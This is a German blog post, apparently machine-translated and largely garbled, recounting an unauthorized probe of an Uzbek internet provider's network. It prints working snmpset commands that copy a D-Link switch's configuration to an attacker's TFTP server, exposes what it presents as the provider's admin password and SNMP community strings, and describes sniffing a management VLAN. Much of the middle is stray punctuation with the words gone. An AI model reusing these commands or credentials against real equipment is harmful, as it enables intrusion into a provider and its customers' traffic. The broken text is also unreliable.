Penetrationstest des Netzwerks eines Anbieters oder warum Sie Ihren Daten nicht Anbietern in Usbekistan anvertrauen sollten

Hintergrund

Noch vor wenigen Monaten begann das Internet zu Hause zu funktionieren, könnte man sagen - fürchterlich. Dies geschah nur abends: gerade zu der Zeit, als der Anbieter keinen Spezialisten hatte, der eine Reise unternehmen und dieses lästige Problem lösen konnte. Die Briefe und Bewerbungen lieferten seltsamerweise keine Ergebnisse. Nach Angaben des Anbieters kann tagsüber ein Spezialist kommen, aber was ist mit mir tagsüber, wenn das Internet abends nicht funktioniert? Um die Zeit zu vertreiben und auf eine Lösung des Problems zu warten, habe ich mich entschlossen, im Netzwerk meines Anbieters nach Sicherheit zu suchen. Wenn Sie sich fragen, was damit passiert ist - willkommen bei cat.

PT0.1ENUM

Ich habe mich entschlossen, mit dem Scannen vom 10.3XX0 / 24-Subnetz zu beginnen, da es bei der Verfolgung der Paketroute vom LAN zum globalen Netzwerk mehrmals leuchtete

80- . , , 161 - SNMP, . , public private community string , , .

PT1.1Gath

SNMP , DGS-3620-28SC - , , 20- SFP, 4 - 100/1000Base-T/SFP 4 10GBase-X SFP+. private community , snmpset.

snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.3.3 a $TFTP_SERVER_IPP
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.5.3 s $FILE_NAME.cfg
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.7.3 s config.cfg
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.8.3 i 2
snmpset -v2c -c $COMMUNITY $IP 1.3.6.1.4.1.171.12.1.2.18.1.1.12.3 i 3
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

, j admin vfrtgb45switch( ), community strings vfrtgb45switch vfrtgb45switchrw . , , The Dude . , - MNGT vlan 4002 172.2X.X.0/15.

, mngt vlan - . , ARISTA-100G-CityPlace1 ARISTA-100GCityPlace2. , 50 L3 ( ), TCPDUMP .

PT2.1

, , ( , community string ), . : , . , , , . , , *** . , , . , , , . , . , " ". -, . , , "Turon Telecom" , . .

PT3.1 IT

, . , , , . : HTTP, SMTP . , IP DNS . , - . , - . , , .

PT4.1 Warten auf Reaktion

Jetzt habe ich meinen Artikel fertiggestellt und warte auf die Reaktion der Leute, die ihn lesen werden, oder auf die Reaktion des Anbieters selbst. Vielen Dank für Ihre Aufmerksamkeit.